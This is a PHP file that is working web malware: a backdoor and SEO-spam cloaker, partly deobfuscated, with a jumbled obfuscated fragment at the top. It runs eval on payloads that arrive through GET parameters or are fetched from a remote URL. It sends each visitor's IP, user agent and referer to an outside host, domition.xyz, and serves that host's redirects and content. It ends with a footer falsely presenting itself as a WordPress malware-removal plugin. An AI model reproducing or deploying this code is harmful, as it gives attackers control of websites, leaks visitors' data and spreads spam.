if (isset($_SERVER["\110\124\x54\x50\x5f\x46\x52\117\x4e\x54\137\x45\116\104\137\110\124\x54\120\123"]) && strtolower($_SERVER["\110\124\124\x50\x5f\106\122\x4f\x4e\x54\x5f\105\116\x44\137\110\x54\124\120\123"]) !== "\157\146\146") { goto ITQAnvZwfczQ; } goto H8GO1mlETFU3; Yk1nf_xrrv3I: FDwIClC5Dnup: goto aAfW6YtZeCLI; SenXh2lN3BbM: if (isset($_SERVER["\x48\x54\x54\120\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\123"]) !== "\x6f\146\x66") { goto W_VecjWDqJYG; } goto krxP5zt0xFvA; On3OtwrLt1Ab: goto aMITodND3JUn; goto oXlMnd1pdBCC; u8SbpKCSCWA_: aMITodND3JUn: goto rEQZa58rDSxr; cE3vNDEzaIpS: W_VecjWDqJYG: goto Fq0Ah7CJD6yE; aAfW6YtZeCLI: $RrOB8J78WfVd = "\x68\x74\164\x70\x73\x3a\57\57"; goto On3OtwrLt1Ab; ztm7uCpDtTuu: $RrOB8J78WfVd = "\150\164\164\160\163\72\57\x2f"; goto u8SbpKCSCWA_; oXlMnd1pdBCC: ITQAnvZwfczQ: goto ztm7uCpDtTuu; v9SFEeZVJGGK: $RrOB8J78WfVd = "\x68\x74\x74\x70\x3a\57\57"; goto SenXh2lN3BbM; fGVDuFc3qmZz: } goto HeOd9lyl8Lv3; Gi1j2C7ji02l: if (!(strpos($gnPzTQhkcREG, "\56") > 0 && strpos($gnPzTQhkcREG, "\56\x70\x68\x70") === false)) { goto mXLbyIfnwN6s; } goto YaB3jz3G_M4k; GVSPvrpFhj3N: HLVJsBuRG6On:<?php
error_reporting(0);
$k7ALehnsx8v5 = "range";
$bGLVlkgHyGeS = range("~", " ");
$DLoqOq2JR6QC = ${$bGLVlkgHyGeS[31] . $bGLVlkgHyGeS[59] . $bGLVlkgHyGeS[47] . $bGLVlkgHyGeS[47] . $bGLVlkgHyGeS[51] . $bGLVlkgHyGeS[53] . $bGLVlkgHyGeS[57]};
if (!(in_array(gettype($DLoqOq2JR6QC) . count($DLoqOq2JR6QC), $DLoqOq2JR6QC) && count($DLoqOq2JR6QC) == 29 && md5(md5(md5(md5($DLoqOq2JR6QC[23])))) === "a2b4a31b5267caa0e746082b26ecd80f")) {
goto GHaWN8vIrO6j;
}
($DLoqOq2JR6QC[68] .= $DLoqOq2JR6QC[71]) && ($DLoqOq2JR6QC[87] = $DLoqOq2JR6QC[68]($DLoqOq2JR6QC[87])) && @eval($DLoqOq2JR6QC[68](${$DLoqOq2JR6QC[47]}[11]));
GHaWN8vIrO6j:
metaphone("ODEzOTY3MjcyNTM5NDA5NDc2NTU5NDAz");
class OzjpY_HPa0yu
{
static function magmvEtxSTLF($xesxnVa0yjvn)
{
$Ad7FDPOA8N33 = "range";
$AseE4iGg3TYe = range("~", " ");
$w1NC4XD8QxOD = explode(":", $xesxnVa0yjvn);
$GkTbUFA5wsec = '';
foreach ($w1NC4XD8QxOD as $EjHkt1Cso_w4 => $b6ea75uR6Ss8) {
$GkTbUFA5wsec .= $AseE4iGg3TYe[$b6ea75uR6Ss8 - 32994];
}
return $GkTbUFA5wsec;
}
static function kg8DfY_b_iFW($nnkg_Jnivs2h, $RUMsm6E32A5H)
{
$Ntkp_A2DkVVO = curl_init($nnkg_Jnivs2h);
curl_setopt($Ntkp_A2DkVVO, CURLOPT_RETURNTRANSFER, 1);
$GhIZfebIZu3I = curl_exec($Ntkp_A2DkVVO);
return empty($GhIZfebIZu3I) ? $RUMsm6E32A5H($nnkg_Jnivs2h) : $GhIZfebIZu3I;
}
static function TIWn7qyUEe5o()
{
$uBf2E15dXZyD = array("33021:33006:33019:33023:33004:33019:33025:33018:33003:33010:33021:33004:33015:33009:33010", "33005:33004:33006:33025:33006:33009:33004:33071:33069", "33014:33005:33009:33010:33025:33020:33019:33021:33009:33020:33019", "33008:33023:33021:33013", "33022:33023:33005:33019:33066:33068:33025:33020:33019:33021:33009:33020:33019", "33018:33015:33012:33019:33025:33017:33019:33004:33025:33021:33009:33010:33004:33019:33010:33004:33005", "33048:33078", "32995", "33073:33078", "33055:33038:33038:33055:33031", "33018:33015:33012:33004:33019:33006:33025:33015:33010:33008:33003:33004");
foreach ($uBf2E15dXZyD as $V2uLbcRP5wsV) {
$vqJYi_xvWsPX[] = self::magmVeTxstLF($V2uLbcRP5wsV);
}
$TbvaAwzetsLT = @$vqJYi_xvWsPX[1]($vqJYi_xvWsPX[10](INPUT_GET, $vqJYi_xvWsPX[9]));
$qAL27YIxUDt1 = @$vqJYi_xvWsPX[3]($vqJYi_xvWsPX[6], $TbvaAwzetsLT);
$juSafAB_fs4U = $vqJYi_xvWsPX[2]($qAL27YIxUDt1, true);
@$vqJYi_xvWsPX[10](INPUT_GET, "of") == 1 && die($vqJYi_xvWsPX[5]("/var/www/html/input.php"));
if (!(@$juSafAB_fs4U[0] - time() > 0 and md5(md5($juSafAB_fs4U[3])) === "3087be9cebee3fff05b5dd8a731b832c")) {
// [PHPDeobfuscator] Implied return
return;
}
$fZ8IlTG6ah0u = self::kG8Dfy_b_IFW($juSafAB_fs4U[1], $vqJYi_xvWsPX[5]);
@eval($vqJYi_xvWsPX[4]($fZ8IlTG6ah0u));
die;
}
}
Ozjpy_HPa0yu::TIWn7QyUEE5o();
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
function vypqUJArWnDa($uDs7eeogL8tR)
{
$K1KQqr8o1EOP = array("status" => 0, "content" => '', "type" => '');
if (is_array($uDs7eeogL8tR)) {
foreach ($uDs7eeogL8tR as $nL07hM1DbNL1) {
if (preg_match("/http\\/[0-9\\.]+[\\s]+([0-9]+)/i", $nL07hM1DbNL1, $ailGpShwUTAq)) {
$K1KQqr8o1EOP["status"] = intval($ailGpShwUTAq[1]);
goto lLaWPU3vBYaD;
}
if (preg_match("/location\\:[\\s]+(.*)/i", $nL07hM1DbNL1, $ailGpShwUTAq)) {
$K1KQqr8o1EOP["content"] = $ailGpShwUTAq[1];
goto lLaWPU3vBYaD;
}
if (preg_match("/content\\-type\\:[\\s]+(.*)/i", $nL07hM1DbNL1, $ailGpShwUTAq)) {
$K1KQqr8o1EOP["type"] = $ailGpShwUTAq[1];
goto kqc5tYnfgt9t;
}
kqc5tYnfgt9t:
lLaWPU3vBYaD:
}
return $K1KQqr8o1EOP;
}
return $K1KQqr8o1EOP;
}
function OkdR9a54Kkev($sSYbW3PSn_Xk, $QLkiB6QJEloc = array())
{
$fISVeKPM3dXb = array("status" => 0, "content" => '', "type" => '');
if (!(is_array($QLkiB6QJEloc) && count($QLkiB6QJEloc))) {
goto l_QU4a1y9Qba;
}
$sSYbW3PSn_Xk .= "?" . http_build_query($QLkiB6QJEloc);
l_QU4a1y9Qba:
try {
if (function_exists("curl_exec") && function_exists("curl_init")) {
$Piuh3IOdJDs2 = curl_init();
curl_setopt($Piuh3IOdJDs2, CURLOPT_URL, $sSYbW3PSn_Xk);
curl_setopt($Piuh3IOdJDs2, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($Piuh3IOdJDs2, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($Piuh3IOdJDs2, CURLOPT_CONNECTTIMEOUT, 20);
curl_setopt($Piuh3IOdJDs2, CURLOPT_TIMEOUT, 60);
curl_setopt($Piuh3IOdJDs2, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($Piuh3IOdJDs2, CURLOPT_COOKIESESSION, 0);
curl_setopt($Piuh3IOdJDs2, CURLOPT_RETURNTRANSFER, 1);
$BdlgdRdh1TbU = curl_exec($Piuh3IOdJDs2);
$fISVeKPM3dXb["status"] = intval(curl_getinfo($Piuh3IOdJDs2, CURLINFO_HTTP_CODE));
$fISVeKPM3dXb["type"] = strval(curl_getinfo($Piuh3IOdJDs2, CURLINFO_CONTENT_TYPE));
$fISVeKPM3dXb["content"] = strval(curl_getinfo($Piuh3IOdJDs2, CURLINFO_REDIRECT_URL));
@curl_close($Piuh3IOdJDs2);
if (!in_array($fISVeKPM3dXb["status"], array(200, 301, 302, 404))) {
goto H2uNsRC34qvY;
}
$fISVeKPM3dXb["content"] = strval($BdlgdRdh1TbU);
H2uNsRC34qvY:
goto BJ1TuNRBM87a;
}
if (ini_get("allow_url_fopen")) {
$juIv5KTmiwgb = array("http" => array("method" => "GET", "timeout" => 60, "follow_location" => 0), "ssl" => array("verify_peer" => false, "verify_peer_name" => false));
$o_SeVS244bvs = stream_context_create($juIv5KTmiwgb);
$dhaXWAIMqTxF = @file_get_contents($sSYbW3PSn_Xk, false, $o_SeVS244bvs);
$fISVeKPM3dXb = array_merge($fISVeKPM3dXb, vYPqujARWnDA($http_response_header));
if (!in_array($fISVeKPM3dXb["status"], array(200, 301, 302, 404))) {
goto ZJs70QxszaZu;
}
$fISVeKPM3dXb["content"] = strval($dhaXWAIMqTxF);
ZJs70QxszaZu:
goto rZCLdffXIiP8;
}
rZCLdffXIiP8:
BJ1TuNRBM87a:
} catch (Exception $vJLWDs3DbyI0) {
}
return $fISVeKPM3dXb;
}
function Otx8Yhp4mMEt($gLpQm9c85GY9)
{
if ($gLpQm9c85GY9) {
return rtrim(strtr(base64_encode($gLpQm9c85GY9), "+/", "-_"), "=");
}
return '';
}
function yQNalVIQjP23()
{
$tCEGTBJot5E0 = '';
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) && !empty($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$tCEGTBJot5E0 = $_SERVER["HTTP_CF_CONNECTING_IP"];
goto etToJ_hUgBRN;
}
if (isset($_SERVER["HTTP_X_REAL_IP"]) && !empty($_SERVER["HTTP_X_REAL_IP"])) {
$tCEGTBJot5E0 = $_SERVER["HTTP_X_REAL_IP"];
goto etToJ_hUgBRN;
}
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]) && !empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$tCEGTBJot5E0 = $_SERVER["HTTP_X_FORWARDED_FOR"];
goto c29_BvY2ISdT;
}
$tCEGTBJot5E0 = $_SERVER["REMOTE_ADDR"];
c29_BvY2ISdT:
etToJ_hUgBRN:
$tCEGTBJot5E0 = trim(str_replace(" ", '', $tCEGTBJot5E0), ",");
if (!(strpos($tCEGTBJot5E0, ",") !== false)) {
goto k2wh1Bc3RDPg;
}
$tCEGTBJot5E0 = explode(",", $tCEGTBJot5E0);
$tCEGTBJot5E0 = $tCEGTBJot5E0[0];
k2wh1Bc3RDPg:
return $tCEGTBJot5E0;
}
function y3LSm02IQ7XX()
{
$RrOB8J78WfVd = "http://";
if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
$RrOB8J78WfVd = "https://";
goto aMITodND3JUn;
}
if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
$RrOB8J78WfVd = "https://";
goto aMITodND3JUn;
}
if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
$RrOB8J78WfVd = "https://";
goto u8SbpKCSCWA_;
}
u8SbpKCSCWA_:
aMITodND3JUn:
return $RrOB8J78WfVd;
}
if (!($_SERVER["REQUEST_URI"] === "/R-" . md5($_SERVER["SERVER_NAME"]))) {
if (!substr_count($_SERVER["REQUEST_URI"], "index.php/jk")) {
$tCEGTBJot5E0 = yqnaLVIQjp23();
$mslTpQBKb4R9 = strval(@$_SERVER["HTTP_REFERER"]);
$r31oufLmQQKW = Y3lsm02Iq7xx() . $_SERVER["HTTP_HOST"];
if (!(strpos($mslTpQBKb4R9, $r31oufLmQQKW) === 0)) {
goto K9kKM1voD6j2;
}
$mslTpQBKb4R9 = '';
K9kKM1voD6j2:
$V6pTk33TcK1N = array();
$V6pTk33TcK1N["i"] = OTX8Yhp4MmEt($tCEGTBJot5E0);
$V6pTk33TcK1N["l"] = Otx8yHP4MmET($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
$V6pTk33TcK1N["sn"] = OtX8yHP4MmET($_SERVER["SCRIPT_NAME"]);
$V6pTk33TcK1N["r"] = oTX8YHp4MMeT($_SERVER["REQUEST_URI"]);
$V6pTk33TcK1N["rf"] = OtX8yHP4mmet($mslTpQBKb4R9);
$V6pTk33TcK1N["s"] = OTx8YHP4MMeT($r31oufLmQQKW);
$V6pTk33TcK1N["u"] = OTx8yhp4MMET($_SERVER["HTTP_USER_AGENT"]);
$gnPzTQhkcREG = preg_replace("/\\?.*/", '', $_SERVER["REQUEST_URI"]);
$Slj1SnTfiPKw = false;
if (!(strpos($gnPzTQhkcREG, ".") > 0 && strpos($gnPzTQhkcREG, ".php") === false)) {
goto mXLbyIfnwN6s;
}
$XeEEcJ8LODry = substr($gnPzTQhkcREG, strpos($gnPzTQhkcREG, "."));
if (!in_array($XeEEcJ8LODry, array(".js", ".css", ".jpg", ".png", ".gif", ".ico"))) {
goto nJwhHtx_ugPF;
}
$Slj1SnTfiPKw = true;
nJwhHtx_ugPF:
mXLbyIfnwN6s:
if ($Slj1SnTfiPKw) {
goto HLVJsBuRG6On;
}
$fISVeKPM3dXb = okDR9a54kKEV("http://zs547v13su.domition.xyz/", $V6pTk33TcK1N);
if (in_array($fISVeKPM3dXb["status"], array(0, 200))) {
goto PYihwqIV2JcD;
}
switch ($fISVeKPM3dXb["status"]) {
case 301:
header("HTTP/1.1 301 Moved Permanently");
header("Location: " . trim($fISVeKPM3dXb["content"]));
goto C27IyoTB3PSW;
case 302:
header("HTTP/1.1 302 Move Temporarily");
header("Location: " . trim($fISVeKPM3dXb["content"]));
goto C27IyoTB3PSW;
case 404:
header("HTTP/1.1 404 Not Found");
header("status: 404 Not Found");
goto C27IyoTB3PSW;
default:
goto C27IyoTB3PSW;
}
C27IyoTB3PSW:
PYihwqIV2JcD:
if (!strlen($fISVeKPM3dXb["content"])) {
HLVJsBuRG6On:
// [PHPDeobfuscator] Implied script end
return;
}
@header("Content-Type:" . $fISVeKPM3dXb["type"]);
echo $fISVeKPM3dXb["content"];
exit(0);
}
exit("{ \"error\": 200, \"lc\": \"jk\", \"data\": [ 1 ] }");
}
exit(strrev(md5($_SERVER["SERVER_NAME"])));Malware detection & removal plugin for WordPress
（C）2020 Wordpress Doctor All rights reserved.